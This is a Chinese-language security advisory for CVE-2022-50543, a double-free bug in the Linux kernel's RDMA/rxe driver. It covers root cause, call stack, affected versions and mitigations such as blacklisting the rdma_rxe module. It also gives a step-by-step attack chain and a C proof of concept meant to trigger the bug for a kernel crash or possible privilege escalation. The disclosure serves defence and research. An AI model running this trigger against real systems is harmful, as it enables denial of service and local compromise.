IPBUF安全漏洞报告
English
CVE-2022-50543 CVSS 7.8 高危

CVE-2022-50543 Linux内核RDMA/rxe双重释放漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50543
漏洞类型
双重释放(Double Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(RDMA/rxe子系统)

相关标签

双重释放Double FreeLinux KernelRDMArxe本地提权拒绝服务内核漏洞内存安全CVE-2022-50543

漏洞概述

CVE-2022-50543是Linux内核RDMA(远程直接内存访问)rxe驱动中存在的一个高危双重释放(Double Free)漏洞。该漏洞位于rxe_mr_cleanup()函数中,当rxe_mr_init_user()函数初始化失败时,错误处理路径会触发对mr->map内存映射的双重释放操作,导致内核崩溃或潜在的安全风险。

该漏洞最初由commit b18c7da63fcb("RDMA/rxe: Fix memory leak in error path code")引入,虽然后续commit 8ff5f5d9d8cf尝试修复此问题,但该修复最终被commit 1e75550648da("Revert RDMA/rxe: Create duplicate mapping tables for FMRs")一并回退,导致漏洞仍然存在。

此漏洞的CVSS评分为7.8,属于高危级别。攻击者只需拥有本地低权限账户即可利用,无需用户交互。一旦成功利用,可能导致系统内核崩溃(panic)、内存损坏,甚至可能实现权限提升,对系统的机密性、完整性和可用性均产生高影响。该漏洞主要影响使用RDMA/rxe功能的Linux系统,如高性能计算集群、存储服务器等环境。

技术细节

该漏洞的根本原因在于RDMA/rxe驱动中内存区域(Memory Region, MR)映射管理的错误处理路径设计缺陷。

具体技术原理如下:

1. **mr->map分配**:当用户通过ib_uverbs_reg_mr()注册内存区域时,rxe驱动会调用rxe_mr_init_user()来初始化MR结构并分配mr->map映射表。

2. **失败路径问题**:如果rxe_mr_init_user()在分配mr->map后但在完全初始化成功之前失败,错误处理路径会调用rxe_mr_cleanup()来清理资源。

3. **双重释放触发**:rxe_mr_cleanup()函数会尝试释放mr->map,但mr->map已经在错误路径中被释放过一次,导致双重释放(Double Free)漏洞。

4. **内核崩溃**:双重释放会触发KASAN(Kernel Address Sanitizer)检测,产生内核栈跟踪并可能导致系统panic。

从提供的调用栈可以看出完整的触发路径:
ib_uverbs_cmd_verbs → ib_uverbs_handler_UVERBS_METHOD_INVOKE_WRITE → ib_uverbs_reg_mr → rxe_reg_user_mr → __rxe_cleanup → rxe_mr_cleanup → kasan_report → panic

修复方案是确保rxe_mr_cleanup()只在mr->map成功分配后才负责释放操作,避免在错误路径中重复释放。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标Linux系统上拥有本地用户账户,并确保系统加载了rdma_rxe内核模块(可通过modprobe rdma_rxe加载Soft-RoCE驱动)。
STEP 2
步骤2:获取RDMA设备
通过ibv_get_device_list()获取系统上的RDMA设备列表,打开rxe设备并分配Protection Domain (PD),为后续内存区域注册做准备。
STEP 3
步骤3:触发错误路径
调用ibv_reg_mr()注册内存区域,但传入精心构造的参数(如无效地址或特定访问权限组合),使rxe_mr_init_user()在mr->map分配成功之后但初始化完成之前失败。
STEP 4
步骤4:触发双重释放
当rxe_mr_init_user()失败时,错误处理路径调用rxe_mr_cleanup(),该函数尝试释放mr->map,但mr->map可能已被错误路径释放过一次,导致双重释放漏洞被触发。
STEP 5
步骤5:内核崩溃或权限提升
双重释放触发KASAN检测,产生内核panic或内存损坏。攻击者可利用此漏洞实现拒绝服务攻击(系统崩溃),或在特定条件下实现权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2022-50543 - Linux Kernel RDMA/rxe Double Free PoC * This PoC triggers the double-free vulnerability by attempting to register * a memory region (MR) via RDMA user verbs in a way that causes * rxe_mr_init_user() to fail after mr->map allocation. * * Note: Requires RDMA/rxe module loaded and appropriate permissions. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/mman.h> #include <infiniband/verbs.h> int main(int argc, char *argv[]) { struct ibv_device **dev_list; struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_mr *mr; int ret; /* Get list of RDMA devices */ dev_list = ibv_get_device_list(NULL); if (!dev_list || !dev_list[0]) { fprintf(stderr, "No RDMA devices found. Ensure rxe (Soft-RoCE) is loaded.\n"); fprintf(stderr, "Load with: modprobe rdma_rxe\n"); return 1; } /* Open the rxe device */ ctx = ibv_open_device(dev_list[0]); if (!ctx) { fprintf(stderr, "Failed to open device: %s\n", strerror(errno)); ibv_free_device_list(dev_list); return 1; } /* Allocate a Protection Domain */ pd = ibv_alloc_pd(ctx); if (!pd) { fprintf(stderr, "Failed to allocate PD: %s\n", strerror(errno)); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 1; } /* * Trigger the vulnerability: Register an MR with invalid parameters * to cause rxe_mr_init_user() to fail after mr->map is allocated. * Using an unmapped/invalid address with specific access flags * to trigger the error path in rxe_reg_user_mr(). */ void *invalid_addr = (void *)0xDEADBEEF000ULL; size_t mr_size = 4096; /* Attempt to register MR with an invalid address to trigger error path */ mr = ibv_reg_mr(pd, invalid_addr, mr_size, IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_REMOTE_READ | IBV_ACCESS_MW_BIND); if (mr) { printf("MR registered (unexpected). Cleaning up.\n"); ibv_dereg_mr(mr); } else { printf("MR registration failed as expected (errno=%d: %s)\n", errno, strerror(errno)); printf("If vulnerable, check dmesg for kernel panic/double-free report.\n"); } /* Cleanup */ ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 0; }

影响范围

Linux Kernel < 6.1(包含引入漏洞的commit b18c7da63fcb的版本)
Linux Kernel 6.1.0-rc1(确认受影响的版本)
所有包含RDMA/rxe子系统且未应用修复补丁的Linux内核版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)如果系统未使用RDMA/rxe功能,通过'rmmod rdma_rxe'或将其加入黑名单(/etc/modprobe.d/blacklist.conf中添加'blacklist rdma_rxe')来禁用该模块;2)限制本地用户对/dev/infiniband/目录下设备文件的访问权限;3)启用SELinux或AppArmor等强制访问控制机制,限制普通用户对内核RDMA子系统的访问;4)监控系统日志(dmesg)以检测异常的KASAN报告或内核崩溃事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表